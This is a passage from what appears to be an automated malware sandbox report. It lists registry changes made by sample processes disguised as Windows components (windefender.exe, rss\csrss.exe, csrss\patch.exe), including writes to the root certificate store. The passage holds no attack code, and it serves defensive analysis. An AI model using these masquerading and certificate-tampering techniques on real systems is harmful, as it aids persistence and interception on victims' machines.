| Key created | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\GPU | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Set value (data) | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\Main | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\InternetRegistry | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\SearchScopes | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\IETld\LowMic | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Set value (data) | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000f908080c5c8cf442941c5db076e34ac2000000000200000000001066000000010000200000002feb27513469b867ce15131824e5756998536eaea7c30817b94bdfaef3d39f74000000000e8000000002000020000000b0fd5e6c2dd8f72dc804d47d3cb0241d99012c1ad00e29320f75eab42c64974c9000000043686d1f530257e1a4f40322594601e30f525f3de8a1155689fe63adc2cfca680859ab8c5229727f674b45460bf4f9d0e205d894daec5ae0eeb04c25fa7e3c4e3dcc87ebf0bbff237737a6f57ffc648159a272fc7ce07a406b013400592a76b303e40d83744175b4b12a83acc38533a20a3af470fd4e378c3da79ed1122d253bd754eb1d0095505b2655d543ec645c7840000000eef854ad03d90322774054aba0e310992b4271ebd95a0a6da62b33b4a7f703e3b5fcd4159ac2ee9d23a7cf1e1e38ef4f7c796888268e080296c2cc1e8babbafd | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\IETld\LowMic | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1" | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "403734582" | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\Main | C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
Modifies data under HKEY_USERS
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-372 = "Jerusalem Standard Time" | C:\Windows\windefender.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-981 = "Kamchatka Daylight Time" | C:\Windows\windefender.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-132 = "US Eastern Standard Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-221 = "Alaskan Daylight Time" | C:\Windows\windefender.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-442 = "Arabian Standard Time" | C:\Windows\windefender.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-152 = "Central America Standard Time" | C:\Windows\windefender.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-352 = "FLE Standard Time" | C:\Windows\windefender.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-432 = "Iran Standard Time" | C:\Windows\windefender.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-771 = "Montevideo Daylight Time" | C:\Windows\windefender.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-632 = "Tokyo Standard Time" | C:\Windows\windefender.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-451 = "Caucasus Daylight Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-262 = "GMT Standard Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-422 = "Russian Standard Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT | C:\Windows\explorer.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-391 = "Arab Daylight Time" | C:\Windows\windefender.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-501 = "Nepal Daylight Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-872 = "Pakistan Standard Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-751 = "Tonga Daylight Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101 = "Provides RD Gateway enforcement for NAP" | C:\Windows\system32\netsh.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-103 = "Microsoft Corporation" | C:\Windows\system32\netsh.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-201 = "US Mountain Daylight Time" | C:\Windows\windefender.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-202 = "US Mountain Standard Time" | C:\Windows\windefender.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-512 = "Central Asia Standard Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-742 = "New Zealand Standard Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-103 = "1.0" | C:\Windows\system32\netsh.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates | C:\Windows\explorer.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-502 = "Nepal Standard Time" | C:\Windows\windefender.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-222 = "Alaskan Standard Time" | C:\Windows\windefender.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-142 = "Canada Central Standard Time" | C:\Windows\windefender.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-511 = "Central Asia Daylight Time" | C:\Windows\windefender.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-435 = "Georgian Standard Time" | C:\Windows\windefender.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-271 = "Greenwich Daylight Time" | C:\Windows\windefender.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-371 = "Jerusalem Daylight Time" | C:\Windows\windefender.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-582 = "North Asia East Standard Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-552 = "North Asia Standard Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-931 = "Coordinated Universal Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-551 = "North Asia Daylight Time" | C:\Windows\windefender.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-242 = "Samoa Standard Time" | C:\Windows\windefender.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-241 = "Samoa Daylight Time" | C:\Windows\windefender.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-671 = "AUS Eastern Daylight Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-211 = "Pacific Daylight Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (data) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = c8523048b8fbd901 | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-81 = "Atlantic Daylight Time" | C:\Windows\windefender.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-141 = "Canada Central Daylight Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-561 = "SE Asia Daylight Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-202 = "US Mountain Standard Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-261 = "GMT Daylight Time" | C:\Windows\windefender.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1022 = "Bangladesh Standard Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-752 = "Tonga Standard Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-342 = "Egypt Standard Time" | C:\Windows\windefender.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-742 = "New Zealand Standard Time" | C:\Windows\windefender.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-131 = "US Eastern Daylight Time" | C:\Windows\windefender.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-361 = "GTB Daylight Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-541 = "Myanmar Daylight Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-841 = "Argentina Daylight Time" | C:\Windows\windefender.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-541 = "Myanmar Daylight Time" | C:\Windows\windefender.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-122 = "SA Pacific Standard Time" | C:\Windows\windefender.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-81 = "Atlantic Daylight Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
Modifies system certificate store
| Description | Indicator | Process | Target |
| Set value (data) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 1400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a32000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 | C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe | N/A |
| Set value (data) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 040000000100000010000000e4a68ac854ac5242460afd72481b2a440f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a41400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f392000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 | C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe | N/A |
| Set value (data) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 19000000010000001000000014c3bd3549ee225aece13734ad8ca0b81400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3040000000100000010000000e4a68ac854ac5242460afd72481b2a442000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 | C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4 | C:\Windows\rss\csrss.exe | N/A |
| Set value (data) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609